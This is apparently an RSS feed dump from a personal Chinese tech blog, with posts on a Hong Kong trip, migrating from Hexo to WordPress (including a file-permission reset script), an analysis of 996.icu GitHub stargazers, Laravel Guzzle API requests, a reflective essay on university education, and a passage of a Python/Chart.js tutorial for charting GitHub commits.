港鐵的Logo,其意景就是上半弧線代表九龍半島、下半弧線代表香港島,而中間的直線側代表地下鐵路(港鐵的前身),意思是香港地下鐵路連接了香港島與九龍半島。對於當時的人們來說,這是一個極大的意義,因為一直以來香港與九龍被維多利亞港分隔開,兩岸的人不是輕易能到達彼岸,而香港地下鐵路正正能夠提供一個方便快捷的運輸服務,連接了人一直認為不能連接的地方,香港自此進入了另一個時代。

相比較之下,深圳地鐵的 Logo:

誒?迷之像啊!對此,一篇博客中的看法如下(原文見參考鏈接[2]):

對於我這個出生於香港80年代的人,香港的地鐵(現稱港鐵)Logo是植根我心,但竟然在完全陌生的國內地土出現一個外形極奇相似、業務性質完全相同的地鐵Logo,我的神經很自然被完全挑動起來。第二,我納悶的是,香港關注此事的人寥寥可數,就連香港地鐵Logo的設計師——李永銓都沒有出來發聲,反而大陸的網民討論比香港人還要多。順帶一提,2009年港鐵是有向國家商標局對深圳地鐵LOGO提出商標異議,但結果是:「(國家商標局)一致認為深圳地鐵的商標與香港地鐵的商標不構成近似商標,香港地鐵的異議理由不成立,深圳地鐵的商標應當予以核准註冊。」

比較好玩哈?我們再來看看別的,他們的效益,港鐵公司每年都會有自己的年報,根據 2018 年報(鏈接見參考資料[3])來看,在 2018 年年收入達到了 113 億港幣,淨資產大到了 1806 億港元:

港鐵收入那麼多錢,靠的高票價嘛?(乘港鐵從羅湖到尖東的費用約 50 HKD,如果你想乘「頭等艙」的話,好象是 500 HKD,而且所謂的頭等艙的座位個人感覺和大陸的長途公交車差不多,類似的距離在大陸可能不會超過 10 CNY),好像也不是,從他們的綜合損益表中可以看出,MTR 的地產投資也是一個收入的大頭:

順便搜了一下「大陸地鐵 盈利」,搜索結果中排名第一的是這樣一篇文章:整个中国只有三条地铁线盈利:拿什么来拯救中国地铁?,呃…

在港鐵上發現的香港和大陸的幾個有意思的區別:

  • 「滅火器」叫「滅火筒」
  • 「無障礙電梯」叫「升降機」
  • 「消防水管」叫「消防喉轆」

還有幾個值得說的地方在於——港鐵每個車站的顏色和港鐵的字體(港鐵宋),前者如圖:

後者可以參考:「地鐵宋體」。

物價

首先就是香港的物價,不得不說,在一國兩制的情況下,一河(深圳河)之隔,兩岸之間物價差距巨大,從兩個比較簡單的方面來看——飲食和住宿,前者相信大陸同胞都有所體會,基本全國價格差距不是很大,然而到了香港,一瓶可樂可以賣到 15 HKD 的高價,瓶裝飲用水可以達到 9 HKD 的價格。其次是住宿,深圳地區價格爲 300 CNY 的酒店對應到香港同等水平可以達到近 1000 CNY 的高價。

從一些數據中我們也可以發現一些成因,從維基百科上的數據來看,香港地區人均 GDP(PPP)達到了 $64,533 美元,排名世界第十,對比深圳,GDP 只有 28,647 美元,差距近 3 倍(可能因爲此導致的物價差距近 3 倍)。

另一個值得一說的點是據說香港人工費非常高,這一點是從香港回來後聽到朋友告訴我的,想到了一張在香港旺角附近拍攝的一張照片:

房價的話,無需多講,看照片(拍攝於廣華街附近):

槍街

與大陸不同,香港對於仿真槍是合法的,所以 Air Soft 運動也是完全合法的,出發前曾在網上找過相關的店鋪,得知在廣華街有 “許多的槍店” 扎堆,不過在實際前往之後發現好像和想像的還是稍有差距,只看到了兩家開門的商店,由於店內禁止拍照,所以這裏只能放一張點外的照片。

網路

在大陸這邊(尤其是校園內),可能只需要 59 CNY 一個月就可以購買到一個「無限流量」的套餐(基本上是 40 GiB 之後開始限速),作爲一個網絡在全球都排名靠前的地區,不得不被價格折服,普通的月費套餐 148 HKD 只有 5 GiB 的流量。

當然,這個與物價有關,也無可厚非。

從個人的觀察來看,許多人的 IM 工具以 Line 爲主,搜索引擎以 Google 爲主(如果見到一個用微信加百度,十有八九是大陸人),好奇心的趨勢下我也下載了一個 Line,發現在諸多特點和功能上和微信非常的相似,都不知道該如何表達了…

銀行

入境香港之後才發現事先準備的港幣並不夠,無奈之下只好找到就近的中國銀行(香港)取了點現金,手續費是 10 CNY + 5%(至少我取的時候是這樣),在某個不知名的站的 ATM 機器上取了 500 HKD,花費 425 CNY(當日銀行匯率 0.85)+15 CNY 手續費,ATM 照片如下,這個界面是輸入取款金額的,不得不佩服這個 UI 寫的實在是高…(輸入的金額在右下角,而不是像大陸這邊一樣有一個 Input form)

關於香港的銀行業其實有許多比較有意思的地方可以展開的,可能大家(或者至少我個人)關注的最主要的點在於香港的銀行沒有每年 5 万 USD 的外匯管制,不過看了一下香港的銀行卡多以「運籌」之類結尾,加上經濟實力實在有限,便沒有仔細關注這一方面。

中銀大廈也很有意思,在維多利亞港的一側,且對於中國銀行而言:

香港总部位处于中环香港中银大厦,为美国境外,第一座楼高超过一千呎的摩天大厦。

雖然由於時間有限沒有能登上太平山(排隊人太多),不過還是得以有幸在中銀大廈樓下拍了一張仰視圖,同時心中默唸:啊,這就是大佬們的房子。

維多利亞港

水是藍色的,着實好看,由於之前看見的海都是土黃色的,更是感覺這裏很美,估計晴天的時候會更加好看一些,對於這個地標僅僅是去「打卡」了一下,並沒有太多需要展開的,好看的風景照可以各位可以自行 Google 一下。

後記

紙上得來終覺淺,絕知此事要躬行

雖然現在互聯網非常的發達,但是親身造訪一次之後還是可以對自己的認識水平有一個較大的提高(當然,前提是細心觀察,而不是跟着網紅景點吃吃喝喝),此次大灣區之行是在我在大學期間邁出的比較遠的一步,或許也是之後各地探訪的第一步。

參考資料

  1. 港鐵動感號高速電動列車
  2. 淺談地鐵logo
  3. MTR 2018 年報
]]>
从 Hexo 迁移到 Wordpresshttps://nova.moe/migrate-from-hexo-to-wordpress/Thu, 18 Apr 2019 23:10:26 +0000https://nova.moe/migrate-from-hexo-to-wordpress/最近利用空闲时间把自己的博客从 Hexo 迁移到了 Wordpress,是的,在时隔将近两年之后,我又一次从 Hexo 迁移回到了 Wordpress,从 Hexo 到 Wordpress 的迁移之路是非常漫长的,即使自己博客文章数量不是很多,但是还是花费了大半个晚上,终于差不多迁移好了,遂记录一下,分享出来。

Why Wordpress

将近两年前,我从 Wordpress 迁移到了 Hexo,现在又迁移回来了,我知道在全民 Wordpress -> Hexo 的时代似乎这么 “逆行” 有点政治不正确,但是迁移到 Wordpress 之后对于我来说有了以下特性:

  • 更好看的主题(唉我还是看脸了)
  • 更好的 SEO
  • 更加用户友好的评论系统
  • 定时文章发布功能
  • 更好的分类目录管理
  • 非常全面的插件库

Image Hosting

我的博客图片不多,但是 Wordpress 对于图片的管理让用户不得不一直 Stick to 他们自己的媒体库,非常的不方便,于是将自己的博客图片全部托管在自己的机器上(本来还考虑过 Object Storage -> Nginx -> Cloudflare CDN 的,但是感觉那样太骚了,而且桶的权限也不很好设置),这样方便内容和图片分离,即使将来有进一步迁移的需求的话也不需要过于纠结图片如何导出的问题,毕竟:

  • 在 Hexo 上是 md 文件 + 外链图片
  • 在 Wordpress 上是 xml 内容 + 外链图片 + 媒体库中存放的 Feature Image(装饰作用,丢了不可惜)

图床地址是: ,由于存放的图片都是博客上需要的图片,在 Cloudflare 端就直接使用了 Flexible SSL(其实主要是因为懒),且根据 Cloudflare 的文档:Which file extensions does Cloudflare cache for static content? ,Cloudflare 会所有图片缓存下来,至于在国内访问速度如何嘛…这是个玄学问题。

Export from Hexo

我的博客 RSS 默认是以 atom 方式输出文章摘要,这里需要调整为 rss2 格式输出全文方便 Wordpress 导入,在 _config.yml 中配置如下:

feed:
  type: rss2
  path: atom.xml
  limit: 0
  hub:
  content: true

此时 hexo g 之后将生成的 atom.xml 文件导出出来,准备将博客的所有图片地址替换为自己的外链,这一步一开始我想的太复杂了,以为需要各种正则表达式匹配转换,后来想了一下,直接用查找&替换把所有的 /pics 替换成了 /pics 就完事了~

Import to Wordpress

Wordpress 提供一个 RSS Importer,如果你和我一样使用着 PHP 7 的话,在导入的时候会看到一个异常,原因是在 /wp-content/plugins/rss-importer/rss-importer.php 的 72 行中有一个函数调用:

set_magic_quotes_runtime(0);

已经被弃用了,直接无脑把他注释掉即可~

成功导入后只是漫漫长路的第一步,因为你很快就会发现:

  • URL 全部乱了(变成了 /<标题>,而不是 /some-slug
  • 图片全部会超过边界(因为导入后只能使用 Classic Editor 而不能使用 Block Editor,如果需要 Convert 的话,所有的 pre 标签内容会全部毁掉,如下图)

对于这种情况…其实也是挺无解的,所以基本每篇文章都需要手动全部删除那个 Classic Block 并且手动复制一下 Markdown 文本上去。(虽然看上去像是完全重建了,但是这样导入 + 重新复制的方式可以减少手动构建文章结构以及日期等步骤)

Backups

这个步骤是通过计划任务自动备份到 Object Storage ,可以参考《在 Scaleway Object Storage 上備份數據》,此外,我会在每次文章发布的时候手动通过 Wordpress 的工具 Export 一份作为备份,存放在 Object Storage 上。

此外,由于使用了外链图片,Wordpress 自带的 Export 功能完全足以用于博客文章的迁移,而且如果运气好的话还可以自动从原始站点(如果原始站点还在的话)下载 Featured Image。

RSS

这个也是需要考虑的,由于之前的博客的 RSS 输出地址是:/atom.xml 而现在是 /rss 或者 /feed 对于使用 RSS 阅读器的读者来说可能需要手动调整一下。

Comments

不幸的是,Disqus 中的评论无法导入到 Wordpress,所以…

Permission

在开了一个神奇的插件之后 Wordpress 直接 500 了,非常迷,不过还好 10 分钟前有一个备份(论备份的重要性),不过从 Object Storage 上把自己的备份取下来后权限全部变成了 ubuntu:ubuntu,这样 Wordpress 的所有权限全部就没有了,插件和上传功能全部损坏,这里通过一个脚本来进行修复,(我的 Wordpress 是跑在 Docker 中的,Docker 中默认使用的 Apache 作为服务器,用户和权限都是 www-data)代码如下:

#!/bin/bash
WP_OWNER=www-data # <-- wordpress owner
WP_GROUP=www-data # <-- wordpress group
WP_ROOT=$1 # <-- wordpress root directory
WS_GROUP=www-data # <-- webserver group

# reset to safe defaults
find ${WP_ROOT} -exec chown ${WP_OWNER}:${WP_GROUP} {} \;
find ${WP_ROOT} -type d -exec chmod 755 {} \;
find ${WP_ROOT} -type f -exec chmod 644 {} \;

# allow wordpress to manage wp-config.php (but prevent world access)
chgrp ${WS_GROUP} ${WP_ROOT}/wp-config.php
chmod 660 ${WP_ROOT}/wp-config.php

# allow wordpress to manage wp-content
find ${WP_ROOT}/wp-content -exec chgrp ${WS_GROUP} {} \;
find ${WP_ROOT}/wp-content -type d -exec chmod 775 {} \;
find ${WP_ROOT}/wp-content -type f -exec chmod 664 {} \;

用法:

$ /path/to/this-script.sh /path/to/wordpress/

这样就可以快速恢复 Wordpres 的文件权限。

Forward compatibility

虽然上了 Wordpress 的车,但是为了保证前向兼容,目前文章管理方式如下:

  1. 需要写一篇新的文章?
  2. hexo new draft new-blog-post-slug
  3. 用自己最喜欢的编辑器(Vim)写文章
  4. source 目录同步到 Object Storage
  5. Hexo 渲染 HTML 并同步到某服务器中
  6. Wordpress 新建文章并且复制 Markdown 内容
  7. 在 Wordpress 中对文章进行一些调整,发布

这样即使 Wordpress 出了什么严重的问题(或者突然不喜欢了),我依然可以在较短的时间内通过 Hexo 顶上,并且给自己修理 Wordpress 的时间。

What’s Next && Problems

  • 首先所有的评论都没有了,这一点似乎无法避免,如果有什么好的思路可以从 Disqus 中导入到 Wordpress 中的话,欢迎来告知我。
  • 如果对于一篇已经发布的文章要进行修改的话,需要同时修改本地的 md 文件和 Wordpress 端的数据。
  • 由于迁移期间有大量的手工操作,难免会有一个错误和疏漏,还需要在后期慢慢修改。

Wordpress 作为一个动态程序,其稳定性和维护的成本是大于 Hexo 这类静态文章生成器的,安全性也是要大大降低的。不过…

翅膀长硬了总是要自己的飞的嘛,不能总是停留在心理舒适区中,用 md 写文章,然后 hexo g 推到 GitHub 上了事。

下一步的计划是通过定时任务实时检测站点的在线情况,若发现站点掉线( Response Code != 200),则自动从 Object Storage 中获取上一个备份并且尝试本地重建,若重建失败则通过 Cloudflare API 将站点 DNS 切换到 Hexo 的备份站点上,并且邮件通知我,如果你感觉这样很蛋疼的话,我也是这么认为的。:P

啊,WP 真香!

]]>
对 996.icu 仓库 Stargazers 的一些小的分析https://nova.moe/some-analysis-on-gh-repo-996-icu/Mon, 08 Apr 2019 23:10:10 +0000https://nova.moe/some-analysis-on-gh-repo-996-icu/

有热心读者提供了一份 Issues 的数据,是 SQLite 格式的,暂时我可能没有时间分析,下面给出下载地址,欢迎有兴趣的同学来一起分析:https://blog.bgme.me/files/996_icu_issues.db.zip(原始链接),</pics/996/issues.db>(我的镜像)。


大概是这两天最火的一个仓库了,几天时间获得了超多的 Stars ,且上了 GitHub Trending ,很多媒体和新闻也对这个仓库以及相关的现象做了一些报道,但是很少有对于 Stargazers(给这个仓库点 Star 的用户)进行统计的,遂决定对 Stargazers 进行一些简单的统计和分析,由于我个人对于数据的解读不是非常多,强烈建议有一定 Python 基础的同学结合 Gist 中贴出的我通过 Jupyter Notebook 对于数据的操作来分析,而不是单纯看本文中的几张图片,本文可能会随着项目的变化而不断更新,相关统计建议和分析可以在本文下方留言。

获取 Stargazers 信息

在网上找了一下,这里使用了一个现成的脚本:minimaxir/get-profile-data-of-repo-stargazers,不过脚本中获取的值与我们希望要的值有一些小的出入,且时区默认是 EST(UTC -5),且没有对 urllib 做任何异常处理(这样就导致了一旦遇到一个 Exception ,整个程序就停了:(),所以在使用前需要进行一些调整。

此外,在对于 GitHub 的爬取过程中,发现分页到达 1334 页的时候会报一个错,只好一直爬到 1333 页,每页 30 条记录,总计最多可以爬到 39990 条数据。

img

2019/04/09 更新:获取到了 176852 条 Stargazers 数据,新的数据下载地址:/pics/996/996-stargazers-180000.csv

顺便安利一下自己用 GraphQL 写的脚本,在:n0vad3v/get-profile-data-of-repo-stargazers-graphql,比之前使用的快了不少,而且不会遇到 Limit,爬完 14W 条数据大概只用了 1 小时,相比较之前那个可能需要 48+ 小时。

信息处理

相关的统计代码和过程(统计使用了 Jupyter Notebook,有兴趣的同学可以直接下载我的数据和代码并尝试从其他角度做进一步的分析)在:https://gist.github.com/n0vad3v/fdce40b05c54b70b99db2f05517265bb

整体情况概览

Creation Time

通过对于 API 的请求:

https://api.github.com/repos/996icu/996.ICU

可以发现这个项目的创建时间是:2019-03-26T07:31:14Z(Z 是 Zulu 时间,也就是 UTC),对应到北京时间是: 2019-03-26 15:31:14(UTC+8 )。

对比了一下从项目上线之后注册的,且给项目点了 Star 的用户共计 2423 个用户,其中没有任何 Followers 的有 2378 个用户。

Available For Hire?

由于在 GitHub 上可以设置一个是否 Hireable(默认好像是没有勾选的),如图:

img

而对于我们爬下来的信息中正好有这个项,所以从它开始咯,在这 148200 条数据中,有 9772 个用户勾选这个选项(占比 6%)。

Companys?

对于各个比较主流的公司进行一些搜索(基于 GitHub 上在自己 Company 一栏中填写的信息进行模糊匹配),以 Google 为例,使用代码如下:

company_google = df[df['company'].str.contains("google",na=False,regex=True,case=False)]
company_google_count = len(company_google.index)

得到的数据如下:

Dji 5
LeetCode 6
SUSE 6
Douyu 6
Lenovo 23
TCL 24
iQiyi 30
Didi 57
Google 84
HuaWei 90
Meituan 118
JD 152
Netease 167
Microsoft 239
Baidu 296
Tecent 397
Alibaba 421

可视化得出图表如下:

img

对于 Star 时间的分析

通过对于点 Star 的时间统计,我们可以发现点 Star 的高峰期在 1000 和 1700 达到两个峰值,可能正好是上班和下班的时间?

img

通过对于 Stargazers 的 Followers 情况来统计,在已有的 148200 条数据中,有 79749 个用户没有任何的 Follower。

img

对于 0 Followers 的用户分析

我们对于这 79749 个用户进行分析,通过注册时间来看,在项目上线的一个月(注:这里统计是按照月统计的,所以会显示到 2019/04/30)内注册量有一个峰值:

img

由于是按照月来统计的,我们只能粗略地看出 2019 年 3 月有很多注册用户,我们把这个月的数据放大,统计一下:在 3 月中注册的,且没有 Followers 的,且给仓库点 Star 的用户的注册数量情况,如下图:

img

可以看出,在 3 月 28 号,29 号的时候,有大量用户注册(共计达到了 1402 个),且给这个项目点了 Star,这个时间可能正是项目上线的前后两天,不过我们需要考虑一个可能的情况即:一些没有 GitHub 账户的程序员为了支持这个仓库而专门注册了帐号并且点了 Star。

为了进一步的了解在 2019/03/28 ~ 2019/04/02 时候注册用户的情况,我将那个时候注册的 219 个用户信息进行了导出(为 csv 格式),截图如下(文件可以从:https:///pics/996/zero_follower_users_registered_in_last_day.csv 下载):

img

几乎清一色的没有设置 Name (仅有一个 username),好奇心驱使我把所有 2129 个用户的头像给下载了下来,截图如下(本来想拼张图的,无奈没找到合适的工具,就截图啦):

img

发现绝大多数都是 GtiHub 默认生成的头像。

]]>
在 Laravel 中向外部 API 发起请求https://nova.moe/make-http-request-to-external-api-in-laravel/Tue, 29 Jan 2019 18:33:38 +0000https://nova.moe/make-http-request-to-external-api-in-laravel/为了程序的分离起见,并且实现一个并不存在的微服务架构(其实是有一个本地的 Django 项目已经写好了逻辑,不想用 PHP 重写了),在已经有的一个 Laravel 项目上需要请求一个外部的 API,我们可以使用一个库:Guzzle,为了演示方便,我将使用 Django 作为后端,输出一个简单的 JSON 格式数据返回,前端用 Laravel (当然,日后肯定是要切换到一些专门的前端框架上面的)接住,大致示意图如下(我画图技术是越来越差了…):

Backend(Django)

由于是初学,我们把功能定义的简单一些,在 urls.py 中:

from django.urls import path

from . import views

urlpatterns = [
path('sigma',views.sigma,name='sigma')
]

在对应的 views.py 中直接定义 sigma 函数:

import json
from django.http import HttpResponse,JsonResponse
# ... 省略部分代码
def sigma(request):
    d = dict()
    d['title'] = 'Sigma Title'
    d['time'] = '2019-01-29'
    return JsonResponse(d)

Frontend(Laravel)

在 Laravel 中安装 Guzzle

composer require guzzlehttp/guzzle

然后在对应的控制器中使用:

use GuzzleHttp\Client;
//...
public function sigma()
{
    $client = new Client();
    $response = $client->get('http://127.0.0.1:4000/score/sigma');
    return json_decode((string) $response->getBody(), true);
}

注意,最后一行 json_decode((string) $response->getBody(), true); 的写法,在本文中我们使用的 Guzzle 6,在 PSR-7 中已经无法直接使用类似 $response->json() 的用法了,原因如下:

Guzzle has switched over to PSR-7 only interfaces. In order to keep some of the old methods on responses like json, xml, effectiveUri, Guzzle would need to rely on a concrete implementation of a PSR-7 response. This would then require Guzzle users to rely on a concretion rather than an abstraction (an interface). This would then lead to needing to incessantly wrap normal PSR-7 responses with Guzzle specific responses or you would need to check the class of each response object you receive from Guzzle to ensure that it has the json method. Because Guzzle has a middleware system that is meant to essentially decorate clients, it makes much more sense to just get rid of the old Guzzle specific methods and use only PSR-7 methods.

Furthermore, the json method was a polarizing feature: some people wanted it to return associative arrays and others wanted it to return stdclass objects. Arguably, it shouldn’t have been on the response object anyways as it’s too specific IMO (i.e., we did not have yaml(), ini(), and other specific format parsers built-in). It’s now just a matter of calling json_decode($response->getBody()).

本文我们给出的是发起的 GET 请求,除此之外,我们还可以使用一些其他的指令,例如:

$response = $client->get('http://httpbin.org/get');
$response = $client->delete('http://httpbin.org/delete');
$response = $client->head('http://httpbin.org/get');
$response = $client->options('http://httpbin.org/get');
$response = $client->patch('http://httpbin.org/patch');
$response = $client->post('http://httpbin.org/post');
$response = $client->put('http://httpbin.org/put');

且,在初始化 Client 的时候可以定义 baseurl,例如:

$client = new Client([
    // Base URI is used with relative requests
    'base_uri' => 'http://httpbin.org',
    // You can set any number of default request options.
    'timeout'  => 2.0,
]);

对于 baseurl 的使用我们有如下文档表格可以参考:

base_uri URI Result
http://foo.com /bar http://foo.com/bar
http://foo.com/foo /bar http://foo.com/bar
http://foo.com/foo bar http://foo.com/bar
http://foo.com/foo/ bar http://foo.com/foo/bar
http://foo.com http://baz.com http://baz.com
http://foo.com/?bar bar http://foo.com/bar

参考资料

1.no more json() method for responses? #1106

2.Guzzle 6: no more json() method for responses

3.Guzzle Documentation

]]>
我们在学校的时间都浪费到了什么地方——对于我校现状的一点杂思https://nova.moe/where-have-we-wasted-our-time/Fri, 18 Jan 2019 19:40:27 +0000https://nova.moe/where-have-we-wasted-our-time/最近有一些偶然的机会给隔壁专业的同学写了一点程序,也旁听了两个课程“答辩”,结合一年之前的一些相关事件和最近学校举行的所谓项目实训中与一些老师的交流,有一些感慨,也更新了我对于我们在校时间到底被浪费到了什么地方的感想和认知。

先说结论:目前我所接触的同学中,其实有很多同学是几乎完全没有动手能力和实际操作能力的,无论(在校考试)成绩好坏,成绩好一些的同学大部分是花了比较多的时间在学校安排的课程和所谓实验上面,而对于成绩差一些的同学大部分既没有花时间在学校安排的课程上,也没有花时间在自己真正感兴趣的方向上。

上文提到的隔壁专业指的是我校信息学院的通信工程专业,由于各种偶然的原因我和这个专业的学生 / 老师交流较多,了解到的信息也相较其他专业而言要多一些。最近被叫去写程序是一个关于信号量化,以及调制的问题,另一个事件是他们专业的课程设计——通信协议的模拟,需要使用的是 NS3。

对于前者被要求(帮忙)写的程序,估计是符合大多数相关(与硬件有一些挂钩的)专业的情况,上来通篇大量无法阅读的类 C 代码,然后在一个奇怪的地方按照一些奇怪的要求和算法写着一些并不好用的类 C 代码,编译成 dll 后寄希望于上天保佑可以运行,所以对于这类情况大部分同学最终还是选择 “复用他人的代码” (或者更有甚者也就直接 “复用” 了他人的实验报告),毕竟作为学校来说,学生的掌握程度其实并不重要,重要的是学生交了报告,卷面考试前放出一些会考试到的题目,使得及格率大于某一个比例,也就算是完成了任务,学生得到了学分可以正常毕业,老师也得到了应有的工资,这样双方都不至于很难看,对于上层领导也说的过去。

校内现状

说到这里想补充一个很有意思的现象,那就是对于大部分同学来说,随意打开一台电脑都可以看到各种软件到处都是,各种中文目录,各种破解工具等等… 我想这个不仅仅与学校的 ”培养计划“ 有关,也与完全不合格的开学教育有关。我承认,虽然经过了高考,但是刚刚进入大学中的同学们能力水平和对于相关专业的认识水平差异非常大, 这个或许也是学校安排开学后的一些 “xx 导论” 的初衷,当然,这个初衷或许是好的,不过可能也仅仅如此了。

以我个人的经历来看,开学的 “xx 导论” 我们学习到的是如何使用破解版 Office,老师鼓励并且指导我们下载并且解压一个绿色版的 Office,且不去讨论这个行为是否合理,对于这么一个简单的动作,我已经看到了各种千奇百怪的同学们的操作,有的同学把压缩包解压到了桌面上,有的同学丢到了 C 盘根目录,有的同学放在 U 盘上,有的同学去安装了 WPS,有的同学… 似乎连下载都成问题…

写到这里不禁又在想一个问题,这究竟是为什么?是教师能力问题还是同学的理解能力有问题?亦或是教学方式有什么问题?这里已经是一个非常简单地例子了,可以类推地想到,每一次学校课程中涉及到一个新的软件对于大部分学生而言几乎就是一场灾难,无论是安装 Java , Python 还是 Node…(当然最有趣的还得是 Linux 课程了,看同学从早到晚地救系统,修 GRUB,然后最终还是使用了虚拟机

在这样的情况下面对一些同学问我的问题我也就只好:“太忙,你问问看别人吧”,因为我知道,当对方的电脑展示在我面前,看着他那二次元主题的桌面,从学校超市买的廉价的发着各种颜色光的鼠标和键盘背光灯,桌面右下角各种 “安全软件” 的弹窗,字体被改的面目全非,屏幕上面全是指纹印的时候… 我是完全没有看第二眼的想法的,因为当你开始解决问题的时候对方提供完唯一的信息:”这个我昨天还可以用的,我也不知道改了什么,今天就不能用了,你帮我看看嘛“,后,便是继续打开 QQ 和同学说:我找 xxx 帮我弄了,晚上去哪儿玩啊。

对于他们而言,既没有独立解决问题能力,甚至利用搜索引擎的能力都成问题,这样的人真的… 感觉没有必要使用自己的时间帮忙,类似的问题还有如何安装系统之类,除非有特殊的目的以外,还是把这类需求留给其他同学吧…

当今编程界的主要编码方式分为有两大流派,一派以 Clone Github 的代码库为主,另一派则以 Copy StackOverFlow 上的答案为主。另外,还有一个不被编程界承认的非主流流派,以拷贝百度搜索的代码为生,加上 CSDN 等论坛上充斥了大量互相抄袭的不可用代码,或许对于没有英文基础和搜索引擎使用能力的他们,这样才是最好的归宿…

最近和一个老师的交流中也有如此看法,由于我对于其他同学而言都是学生,对于他们的请求置之不理最多就是被认为所谓的 “高冷”,但是作为老师,面对这样的问题之后几乎是不得不出面解决的,他也有类似的感慨: “很多人的环境都弄的太乱了,而且大家遇到问题之后都不喜欢看错误报告,只会不停地说‘我昨天还可以用的今天就用不起了’,真的很想把他们的电脑全部重新安装一遍."。

开头的例子

回到我遇到的第一个情况,那个同学最终还是考虑复用了其他人的代码,并没有使用我按照其提供的流程而编写的代码,似乎是因为我自己定义的一个函数在实际运行的时候会遇到问题。

对于第二个问题,其实需求很简单,安装 VirtualBox,安装 Ubuntu,编译并安装 NS3 就可以了… 为此花了几个小时的时间下载镜像并构建了一个可用的虚拟机(基于 Ubuntu 18.04),到头来还是被对方嫌弃不好用并且转而去找一个学长要了一个基于 VMware 的很老的版本(基于 Ubuntu 9)开始 “实验”,具体实验是如何完成的,我不知道,但是同样我不认为对方有相应的编程能力…

此外,以一个常规的理解,一个课程的 “实验 / 设计” 应当是对于学生动手能力的提升,是对于课程理论知识的一个实践场地,但是以我的观察来说,很少有发现真正值得花时间去尝试的 “实验”,大部分的实验毫无创造力,且年年重复,因为这样对于教师而言非常省事,只需要第一年花点时间想一下实验可以安排什么,之后的每年都直接 ”复用“ 之前的实验就好了,类似的数据库实验要求使用 SQL Server 2000 什么的我也就不多说什么了… 虽然大部分同学还是按照要求去下载了老师传到 QQ 群中的破解版 SQL Server…

不禁想到在中国初高中应试教育中已经被磨灭了大量创造力的同学们到了大学后还需要花费大量的时间去做着完全没有实践价值的 “实验”,一些 GPA 高一点的同学就学会了如何划水,如何混入他人队伍中,出最少的力得到学分,并且在毕业后也会保持这四年依赖别人的划水的习惯,成为一个喜欢玩套路的人,GPA 低一点的同学就会考虑自己花时间从互联网寻找相关的 “xx 实验报告"用来交差,毕业后或许搜素引擎的使用能力能有所提升,而稍微有点自己探索想法和方向的同学也会迷失在这些毫无意义的事情上,因为对于他们来说,只有两条路,划水这种行为在他们的价值观中是不好 / 可耻的,但是如果要自己做那么多 “实验” 的话就没有时间用于自己的探索了,这样的选择都是很可悲的。

表面是清晰明了的谎言,背后却是晦涩难懂的真相。

会套路的人可以在学校中自己完成最少事情的情况下最多地从他人处获利,只要不点名就绝对不去上课,考前获得 “复习题” ,考试的时候背板能力天下第一,获得表面上非常光鲜亮丽的成绩,而另一些人就成为了 “沉默的大多数”,成为每年毕业生中统计人数的一个数字,从一些人的交流情况来看,似乎毕业后要么培训机构的 “焦虑刺激” 下加入培训机构,培训几个月后加入一些企业从基层开始做起,要么可能会从事着与自己目前专业不相关的工作…

(当然,也有些人家里经济条件非常好,毕业前已经买房准备结婚的就不属于考虑之列了,拼爹不是本文想讨论的内容。

所以总体来看,其实情况挺悲观的,不过…

时间会证明一切的,人在做,天在看,太过分了肯定是不科学的。

——某杰哥

]]>
用 Python 和 Chart.js 可视化 GitHub Commits 数据https://nova.moe/visualize-github-commit-graph-with-python-and-chartjs/Wed, 19 Dec 2018 01:36:04 +0000https://nova.moe/visualize-github-commit-graph-with-python-and-chartjs/总感觉从某个时间之后我的 GitHub Commits 数量就一直在下降,但是从官方提供的图片来看并没有那么直观和有说服力,于是萌生出了用另外的方式可视化 GitHub Commits 图像的想法.

整个操作分为数据整理和数据可视化两个部分,对于数据的获取,这里使用了一个公开的服务:GitHub Contributions Chart Generator,这个网站可以根据给定的用户名生成多年的 Commits 图片:

但是图片往往无法直观反馈一个用户的 “日期-Commits 数量” 曲线,所以需要一些特别的处理来对的 Commits 数量进行可视化,思路如下:根据网站提供的 API 查询到所有的 “日期-Commits 数量” 键值对,并且绘制曲线图,加入一些其他需要比对的参数进行图形覆盖,得知在某些时间段内 Commits 的频率情况.

数据整理

首先引入我们需要的一些包:

import json
import requests

获取到 GitHub 上的提交数据:

username = "n0vad3v"
url = "https://github-contributions-api.now.sh/v1/%s" %username

r = requests.get(url)
json_data = json.loads(r.text)

得到的 json_data 数据类似如下:

{
  ...
  "contributions": [
  	{
  		'date': '2016-04-23', 
  		'count': 0, 
  		'color': '#ebedf0', 
  		'intensity': 0
  	},
  	  	{
  		'date': '2016-04-22', 
  		'count': 0, 
  		'color': '#ebedf0', 
  		'intensity': 0
  	},
    ...
  ]
}

整理数据,一些关键操作写到了注释中,有兴趣的话可以仔细看看:

# 这里准备两个列表,用于最后的文件存放,一个是用于渲染 GitHub 的提交曲线(washed_data_list)
# 另一个是用来渲染从某个时间之后的一个曲线,目前使用常值函数加上 fill 参数用于覆盖(标记时间段)
washed_data_list = list()
t_washed_data_list = list()

# 排除掉不需要的年份
substring_years = ["2017","2016"]
# 从某个日期开始给常值的函数赋值(其他值为 0)
start_date = "2018-11-06"

# 由于时间是从最后到最前的,所以从“无穷远”开始是肯定标记上的,直到到了某个时间点之前就不是了
t_is_known = 1

for item in json_data['contributions']:
    # 排除多个我们不想要的年份
    if not any(x in item['date'] for x in substring_years):
        # 从无穷远循环到我们设定的值开始
        if start_date in item['date']:
            t_is_known = 0
        washed_data = dict()
        washed_data['date'] = item['date']
        washed_data['count'] = item['count']
        washed_data_list.append(washed_data)

        t_washed_data = dict()
        t_washed_data['date'] = item['date']
        if t_is_known == 1:
            # 这里给标记的值标记为 7 ,因为我自己的 GitHub Commits 不很多,太少的话覆盖的部分高度不够,不够明显,太高的话也不合适
            t_washed_data['count'] = 7
        else:
            t_washed_data['count'] = 0
        t_washed_data_list.append(t_washed_data)

# 最后写入文件
with open('data.json','w') as f:
    f.write(json.dumps(washed_data_list))

with open('t_data.json','w') as f:
    f.write(json.dumps(t_washed_data_list))

此时两个文件内的内容部分分别如下:

data.json

t-data.json

可视化数据

使用 Chart.js,部分关键代码如下:

<body>
	<canvas id="chart"></canvas>
</body>

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<script>
	var gcommit = [];
	var gdate = [];
	var tcommit = [];
	// 引入 GitHub 的 Commits 数据,并且存放入两个 list 中用于后期渲染,gdate 是横轴,gcommit 是纵轴
	$.getJSON("./data.json", function(data) {
		data.forEach(function(item) {
			gcommit.push(item.count);
			gdate.push(item.date);
		})
        // 由于数据是从后往前的,所以我们需要将其反向
		gcommit.reverse();
		gdate.reverse();
        
